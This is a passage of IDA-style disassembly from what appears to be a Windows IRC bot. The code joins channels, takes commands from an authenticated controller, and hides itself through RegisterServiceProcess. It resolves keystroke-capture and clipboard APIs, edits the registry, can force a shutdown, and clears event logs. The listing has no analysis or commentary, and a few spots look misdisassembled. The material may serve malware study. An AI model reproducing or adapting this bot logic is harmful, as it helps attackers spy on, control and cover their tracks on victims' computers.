		jnz	loc_406C86
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_409177
; ---------------------------------------------------------------------------


loc_40918D:				; CODE XREF: seg000:00409175j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_430730


loc_409199:				; CODE XREF: seg000:0040449Bj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	loc_406C86
; ---------------------------------------------------------------------------


loc_4091AD:				; CODE XREF: seg000:00405A7Ej
					; seg000:00405A93j
		push	ebx
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+18h]
		call	sub_41011E
		push	dword ptr [ebp+18h]
		push	offset dword_430718
		jmp	loc_40898A
; ---------------------------------------------------------------------------


loc_4091CC:				; CODE XREF: seg000:00405A54j
					; seg000:00405A69j
		push	14h
		lea	eax, [ebp-1D48h]
		push	ebx
		push	eax
		call	sub_41BC40
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-1D34h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BF36
		mov	eax, [ebp+0Ch]
		mov	[ebp-1D50h], eax
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-1C30h]
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp-4]
		mov	[ebp-1BA8h], eax
		mov	eax, [ebp-8]
		mov	[ebp-1BA4h], eax
		lea	eax, [ebp-1C30h]
		push	eax
		lea	eax, [ebp-1D34h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_4306F4
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	1Ah
		push	eax
		call	sub_40B00E
		add	esp, 40h
		mov	[ebp-1BACh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1D50h]
		push	ebx
		push	eax
		push	offset loc_416425
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-1BACh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_40929E


loc_409288:				; CODE XREF: seg000:0040929Cj
		cmp	[ebp-1BA0h], ebx
		jnz	loc_40833C
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_409288
; ---------------------------------------------------------------------------


loc_40929E:				; CODE XREF: seg000:004022D7j
					; seg000:00409286j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4306B8
		jmp	loc_40832D
; ---------------------------------------------------------------------------


loc_4092AF:				; CODE XREF: seg000:00405A2Aj
					; seg000:00405A3Fj
		push	dword ptr [ebp+18h]
		call	near ptr 0B00000h
		inc	edx
		test	eax, eax
		jz	short loc_4092C6
		push	dword ptr [ebp+18h]
		push	offset dword_43069C
		jmp	short loc_4092D1
; ---------------------------------------------------------------------------


loc_4092C6:				; CODE XREF: seg000:004092BAj
		push	offset dword_430ED8
		call	sub_4188F8
		push	eax


loc_4092D1:				; CODE XREF: seg000:004092C4j
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41C030
		jmp	loc_4093B4
; ---------------------------------------------------------------------------


loc_4092E7:				; CODE XREF: seg000:00405A00j
					; seg000:00405A15j
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		push	eax
		call	sub_41A252
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	dword ptr [ebp+18h]
		cmp	eax, esi
		jnz	short loc_409308
		push	offset unk_430678
		jmp	short loc_40930D
; ---------------------------------------------------------------------------


loc_409308:				; CODE XREF: seg000:004092FFj
		push	offset unk_430648


loc_40930D:				; CODE XREF: seg000:00409306j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	loc_406C89
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h
		jmp	loc_406C89
; ---------------------------------------------------------------------------


loc_409346:				; CODE XREF: seg000:004059D6j
					; seg000:004059EBj
		push	ebx
		push	ebx
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-4]
		push	ebx
		push	dword ptr [ebp+0Ch]
		call	sub_419F45
		add	esp, 18h
		cmp	eax, 1
		push	dword ptr [ebp+18h]
		jnz	short loc_40936C
		push	offset unk_430628
		jmp	loc_406C56
; ---------------------------------------------------------------------------


loc_40936C:				; CODE XREF: seg000:00409360j
		push	offset unk_4305F8
		jmp	loc_406C56
; ---------------------------------------------------------------------------


loc_409376:				; CODE XREF: seg000:004059ACj
					; seg000:004059C1j
		mov	esi, [ebp+18h]
		push	esi
		call	ds:dword_4D1230
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-2D4h], eax
		jz	short loc_4093BC
		push	2
		lea	eax, [ebp-2D4h]
		push	4
		push	eax
		call	ds:dword_4D11A8
		cmp	eax, ebx
		jz	short loc_4093D7
		push	dword ptr [eax]


loc_4093A2:				; CODE XREF: seg000:004093D5j
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset unk_4305D8
		push	eax
		call	sub_41BF36


loc_4093B4:				; CODE XREF: seg000:004092E2j
		add	esp, 10h
		jmp	loc_406C65
; ---------------------------------------------------------------------------


loc_4093BC:				; CODE XREF: seg000:00409389j
		push	esi
		call	ds:dword_4D1274
		cmp	eax, ebx
		jz	short loc_4093D7
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	ds:dword_4D127C
		push	eax
		jmp	short loc_4093A2
; ---------------------------------------------------------------------------


loc_4093D7:				; CODE XREF: seg000:0040939Ej
					; seg000:004093C5j
		push	offset unk_4305B0
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_4093E1:				; CODE XREF: seg000:00405982j
					; seg000:00405997j
		push	7Fh
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+1Ch]
		call	sub_41BCA0
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset unk_430588
		push	eax
		call	sub_41BF36
		add	esp, 18h
		jmp	loc_40820E
; ---------------------------------------------------------------------------


loc_40940A:				; CODE XREF: seg000:00405958j
					; seg000:0040596Dj
		push	5
		push	ebx
		push	ebx
		push	dword ptr [ebp+18h]
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_4D115C
		push	dword ptr [ebp+18h]
		test	eax, eax
		jz	short loc_40942E
		push	offset unk_430568
		jmp	loc_406C56
; ---------------------------------------------------------------------------


loc_40942E:				; CODE XREF: seg000:00409422j
		push	offset unk_430544
		jmp	loc_406C56
; ---------------------------------------------------------------------------


loc_409438:				; CODE XREF: seg000:0040592Ej
					; seg000:00405943j
		mov	eax, [ebp+18h]
		mov	cl, [eax]
		mov	ds:byte_429094,	cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_43051C
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_409451:				; CODE XREF: seg000:00405904j
					; seg000:00405919j
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jle	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		cmp	eax, 400h
		pop	ecx
		jge	loc_4097B8
		push	ebx
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40AFA5
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_432138
		push	eax
		call	sub_41BF36
		add	esp, 1Ch
		jmp	loc_4088D6
; ---------------------------------------------------------------------------


loc_4094A0:				; CODE XREF: seg000:004058DAj
					; seg000:004058EFj
		mov	esi, [ebp+18h]
		push	esi
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jle	loc_401D6C
		push	esi
		call	sub_41BE29
		cmp	eax, 400h
		pop	ecx
		jge	loc_401D6C
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	ds:dword_44412C[eax]
		call	sub_40998C
		pop	ecx
		pop	ecx
		push	1F4h
		call	ds:dword_427064	; Sleep
		push	esi
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	ds:dword_44412C[eax]
		call	ds:dword_4D1288
		push	dword ptr [ebp-10h]
		push	esi
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	ds:dword_444134[eax]
		call	near ptr 0B00000h
		in	al, dx
		push	esi
		call	sub_41BE29
		imul	eax, 234h
		push	esi
		mov	ds:dword_444134[eax], ebx
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr ds:dword_443F20[eax], bl
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_40954E:				; CODE XREF: seg000:004058B0j
					; seg000:004058C5j
		push	dword ptr [ebp+18h]
		push	offset aAll	; "all"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4095BA
		call	sub_40B1D7
		cmp	eax, ebx
		jle	short loc_409575
		push	eax
		push	offset unk_4304F0
		jmp	loc_4072A9
; ---------------------------------------------------------------------------


loc_409575:				; CODE XREF: seg000:00409568j
		push	offset unk_4304C8


loc_40957A:				; CODE XREF: seg000:00403FC1j
					; seg000:00403FE0j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_409588:				; CODE XREF: seg000:004072B8j
					; seg000:00408C2Dj
		cmp	[ebp-8], ebx
		jnz	short loc_4095A9
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]


loc_4095A1:				; CODE XREF: seg000:004087C6j
		call	sub_4099D2
		add	esp, 14h


loc_4095A9:				; CODE XREF: seg000:004041C6j
					; seg000:004041F1j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		jmp	loc_4020BB
; ---------------------------------------------------------------------------


loc_4095BA:				; CODE XREF: seg000:0040955Fj
		mov	eax, [ebp-0A8h]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401D6C
		lea	eax, [ebp+edi*4-90h]
		mov	[ebp+2Ch], eax


loc_4095D6:				; CODE XREF: seg000:00409647j
		mov	eax, [ebp+2Ch]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401D6C
		push	esi
		call	sub_41BE29
		push	eax
		call	sub_40B149
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_4095FD
		push	offset unk_4304A4
		jmp	short loc_409602
; ---------------------------------------------------------------------------


loc_4095FD:				; CODE XREF: seg000:004095F4j
		push	offset unk_430478


loc_409602:				; CODE XREF: seg000:004095FBj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_409632
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_409632:				; CODE XREF: seg000:00409614j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		add	dword ptr [ebp+2Ch], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_4095D6
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_40964E:				; CODE XREF: seg000:00405886j
					; seg000:0040589Bj
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4097B8
		push	esi
		push	offset dword_430C18
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	esi
		push	offset dword_43045C
		jmp	loc_408AB7
; ---------------------------------------------------------------------------


loc_409687:				; CODE XREF: seg000:0040585Cj
					; seg000:00405871j
		push	dword ptr [ebp+18h]
		push	offset dword_430B7C
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	dword ptr [ebp+18h]
		push	offset unk_430438
		jmp	loc_408AB7
; ---------------------------------------------------------------------------


loc_4096A4:				; CODE XREF: seg000:00405832j
					; seg000:00405847j
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+18h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	dword ptr [ebp+18h]
		push	offset unk_430414
		jmp	loc_40898A
; ---------------------------------------------------------------------------


loc_4096C8:				; CODE XREF: seg000:00405808j
					; seg000:0040581Dj
		push	dword ptr [ebp+18h]
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	dword ptr [ebp+18h]
		push	offset unk_4303F0
		jmp	loc_408AB7
; ---------------------------------------------------------------------------


loc_4096E5:				; CODE XREF: seg000:00404C73j
					; seg000:00404C88j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset unk_4303CC
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		add	esp, 1Ch


loc_40971D:				; CODE XREF: seg000:00409769j
		push	eax
		call	ds:dword_427064	; Sleep


loc_409724:				; CODE XREF: seg000:00404599j
		xor	eax, eax
		jmp	loc_401D6F
; ---------------------------------------------------------------------------


loc_40972B:				; CODE XREF: seg000:00404C49j
					; seg000:00404C5Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset unk_4303A4
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		add	esp, 1Ch
		imul	eax, 3E8h
		jmp	short loc_40971D
; ---------------------------------------------------------------------------


loc_40976B:				; CODE XREF: seg000:004029B7j
					; seg000:004029CCj
		push	dword ptr [ebp+esi-8Ch]
		xor	eax, eax
		cmp	[ebp-8F0h], bl
		setnz	al
		push	eax
		lea	eax, [ebp-338h]
		push	ds:dword_42909C
		push	eax
		call	sub_40AFA5
		lea	eax, [ebp-338h]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		lea	eax, [ebp-338h]
		push	eax
		push	offset unk_430380
		call	sub_41581A


loc_4097B5:				; CODE XREF: seg000:00406CF0j
		add	esp, 24h


loc_4097B8:				; CODE XREF: seg000:00402161j
					; seg000:0040216Dj ...
		mov	eax, [ebp+2Ch]
		jmp	loc_401D6F
; ---------------------------------------------------------------------------


loc_4097C0:				; CODE XREF: seg000:004025A2j
					; seg000:004025B7j
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		mov	[ebp+18h], esi
		jz	loc_401D6C
		cmp	[ebp-0A4h], ebx
		jnz	loc_401D6C
		push	offset dword_42C2D0
		push	dword ptr [ebp-90h]
		call	sub_41C794
		mov	esi, eax
		push	offset dword_4D10A8
		push	ebx
		inc	esi
		call	sub_41C794
		push	offset asc_43037C ; "~"
		push	eax
		call	sub_41C794
		push	dword ptr [ebp+18h]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_41C710
		add	esp, 20h
		test	eax, eax
		jz	short loc_409868
		lea	eax, [ebp-0C0h]
		push	edi
		push	eax
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	edi
		push	esi
		push	offset unk_4302FC


loc_409854:				; CODE XREF: seg000:004098C4j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 30h
		jmp	loc_40833C
; ---------------------------------------------------------------------------


loc_409868:				; CODE XREF: seg000:0040981Bj
		mov	dword ptr [ebp+2Ch], offset off_429148


loc_40986F:				; CODE XREF: seg000:0040988Bj
		mov	eax, [ebp+2Ch]
		push	edi
		push	dword ptr [eax]
		call	sub_40B367
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4098C6
		add	dword ptr [ebp+2Ch], 4
		cmp	dword ptr [ebp+2Ch], offset off_42914C
		jl	short loc_40986F
		lea	eax, [ebp-0C0h]
		push	edi
		push	eax
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	edi
		push	esi
		push	offset unk_4302A8
		jmp	short loc_409854
; ---------------------------------------------------------------------------


loc_4098C6:				; CODE XREF: seg000:0040987Ej
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_4098CB:				; CODE XREF: seg000:004098F5j
		cmp	[ebp+18h], ebx
		jz	loc_401D6C
		cmp	[edi], bl
		jnz	short loc_4098EB
		push	dword ptr [ebp+18h]
		push	offset aHi	; "hi"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4098FC


loc_4098EB:				; CODE XREF: seg000:004098D6j
		inc	esi
		add	edi, 80h
		cmp	esi, 1
		jl	short loc_4098CB
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_4098FC:				; CODE XREF: seg000:004098E9j
		shl	esi, 7
		add	esi, [ebp+20h]
		lea	eax, [ebp-0E00h]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BCA0
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_409933
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_430288
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_409933:				; CODE XREF: seg000:00409917j
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset unk_430268
		jmp	loc_4020B5
; ---------------------------------------------------------------------------


loc_409944:				; CODE XREF: seg000:00401D83j
					; seg000:00401D98j
		push	dword ptr [ebp+18h]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	offset aI_0	; "+i"
		push	dword ptr [ebp+18h]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		add	esp, 2Ch
		push	1
		pop	eax
		mov	ds:dword_4D10A0, eax
		jmp	loc_401D6F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40998C	proc near		; CODE XREF: sub_401A09+30p
					; seg000:00401D47p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C830
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4D1240
		leave
		retn
sub_40998C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4099D2	proc near		; CODE XREF: seg000:0040201Ep
					; seg000:00402E6Cp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_4099ED
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_4099ED:				; CODE XREF: sub_4099D2+14j
		push	edi
		call	sub_41B890
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B890
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_2	; "%s"
		push	esi
		push	eax
		call	sub_41C030
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41BF36
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4D1240
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409A6B
		push	7D0h
		call	ds:dword_427064	; Sleep

locret_409A6B:				; CODE XREF: sub_4099D2+8Cj
		leave
		retn
sub_4099D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_409A6D	proc near		; CODE XREF: seg000:004012A0p
		push	ebx
		push	ebp
		mov	ebp, ds:dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp ; dword_42709C
		mov	esi, ds:dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409B8D
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi ; dword_4270BC
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	ds:dword_4D129C, eax
		call	esi ; dword_4270BC
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	ds:dword_4D1210, eax
		call	esi ; dword_4270BC
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	ds:dword_4D11F4, eax
		call	esi ; dword_4270BC
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	ds:dword_4D1104, eax
		call	esi ; dword_4270BC
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	ds:dword_4D10B0, eax
		call	esi ; dword_4270BC
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	ds:dword_4D10E0, eax
		call	esi ; dword_4270BC
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	ds:dword_4D1158, eax
		call	esi ; dword_4270BC
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	ds:dword_4D1250, eax
		call	esi ; dword_4270BC
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	ds:dword_4D12AC, eax
		call	esi ; dword_4270BC
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	ds:dword_4D1110, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D129C, ebx
		mov	ds:dword_4D10F8, eax
		jz	short loc_409B6B
		cmp	ds:dword_4D1210, ebx
		jz	short loc_409B6B
		cmp	ds:dword_4D11F4, ebx
		jz	short loc_409B6B
		cmp	ds:dword_4D1104, ebx
		jz	short loc_409B6B
		cmp	ds:dword_4D10E0, ebx
		jz	short loc_409B6B
		cmp	ds:dword_4D1158, ebx
		jz	short loc_409B6B
		cmp	ds:dword_4D1250, ebx
		jz	short loc_409B6B
		cmp	ds:dword_4D12AC, ebx
		jz	short loc_409B6B
		cmp	ds:dword_4D1110, ebx
		jz	short loc_409B6B
		cmp	eax, ebx
		jnz	short loc_409B75


loc_409B6B:				; CODE XREF: sub_409A6D+B8j
					; sub_409A6D+C0j ...
		mov	ds:dword_4D12B0, 1


loc_409B75:				; CODE XREF: sub_409A6D+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi ; dword_4270BC
		cmp	eax, ebx
		mov	ds:dword_4D1228, eax
		jz	short loc_409BA2
		push	1
		push	ebx
		call	eax
		jmp	short loc_409BA2
; ---------------------------------------------------------------------------


loc_409B8D:				; CODE XREF: sub_409A6D+1Dj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ds:dword_4D12B4, eax
		mov	ds:dword_4D12B0, 1


loc_409BA2:				; CODE XREF: sub_409A6D+117j
					; sub_409A6D+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4270B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409CB7
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi ; dword_4270BC
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	ds:dword_4D124C, eax
		call	esi ; dword_4270BC
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	ds:dword_4D11FC, eax
		call	esi ; dword_4270BC
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	ds:dword_4D1190, eax
		call	esi ; dword_4270BC
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	ds:dword_4D12A0, eax
		call	esi ; dword_4270BC
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	ds:dword_4D11C0, eax
		call	esi ; dword_4270BC
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	ds:dword_4D11E0, eax
		call	esi ; dword_4270BC
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	ds:dword_4D1244, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D124C, ebx
		mov	ds:dword_4D1130, eax
		jz	short loc_409C5B
		cmp	ds:dword_4D11FC, ebx
		jz	short loc_409C5B
		cmp	ds:dword_4D1190, ebx
		jz	short loc_409C5B
		cmp	ds:dword_4D12A0, ebx
		jz	short loc_409C5B
		cmp	ds:dword_4D11C0, ebx
		jz	short loc_409C5B
		cmp	ds:dword_4D11E0, ebx
		jz	short loc_409C5B
		cmp	ds:dword_4D1244, ebx
		jz	short loc_409C5B
		cmp	eax, ebx
		jnz	short loc_409C65


loc_409C5B:				; CODE XREF: sub_409A6D+1B8j
					; sub_409A6D+1C0j ...
		mov	ds:dword_4D12B8, 1


loc_409C65:				; CODE XREF: sub_409A6D+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi ; dword_4270BC
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	ds:dword_4D11BC, eax
		call	esi ; dword_4270BC
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	ds:dword_4D10C4, eax
		call	esi ; dword_4270BC
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	ds:dword_4D118C, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D11BC, ebx
		mov	ds:dword_4D1174, eax
		jz	short loc_409CC2
		cmp	ds:dword_4D10C4, ebx
		jz	short loc_409CC2
		cmp	ds:dword_4D118C, ebx
		jz	short loc_409CC2
		cmp	eax, ebx
		jnz	short loc_409CCC
		jmp	short loc_409CC2
; ---------------------------------------------------------------------------


loc_409CB7:				; CODE XREF: sub_409A6D+144j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ds:dword_4D12BC, eax


loc_409CC2:				; CODE XREF: sub_409A6D+232j
					; sub_409A6D+23Aj ...
		mov	ds:dword_4D12B8, 1


loc_409CCC:				; CODE XREF: sub_409A6D+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp ; dword_42709C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E85
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi ; dword_4270BC
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	ds:dword_4D1260, eax
		call	esi ; dword_4270BC
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	ds:dword_4D11A4, eax
		call	esi ; dword_4270BC
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	ds:dword_4D1214, eax
		call	esi ; dword_4270BC
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	ds:dword_4D10F0, eax
		call	esi ; dword_4270BC
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	ds:dword_4D1154, eax
		call	esi ; dword_4270BC
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	ds:dword_4D11CC, eax
		call	esi ; dword_4270BC
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	ds:dword_4D1170, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D1260, ebx
		mov	ds:dword_4D1180, eax
		jz	short loc_409D75
		cmp	ds:dword_4D11A4, ebx
		jz	short loc_409D75
		cmp	ds:dword_4D1214, ebx
		jz	short loc_409D75
		cmp	ds:dword_4D10F0, ebx
		jz	short loc_409D75
		cmp	ds:dword_4D1154, ebx
		jz	short loc_409D75
		cmp	ds:dword_4D11CC, ebx
		jnz	short loc_409D7F


loc_409D75:				; CODE XREF: sub_409A6D+2DEj
					; sub_409A6D+2E6j ...
		mov	ds:dword_4D12C0, 1


loc_409D7F:				; CODE XREF: sub_409A6D+306j
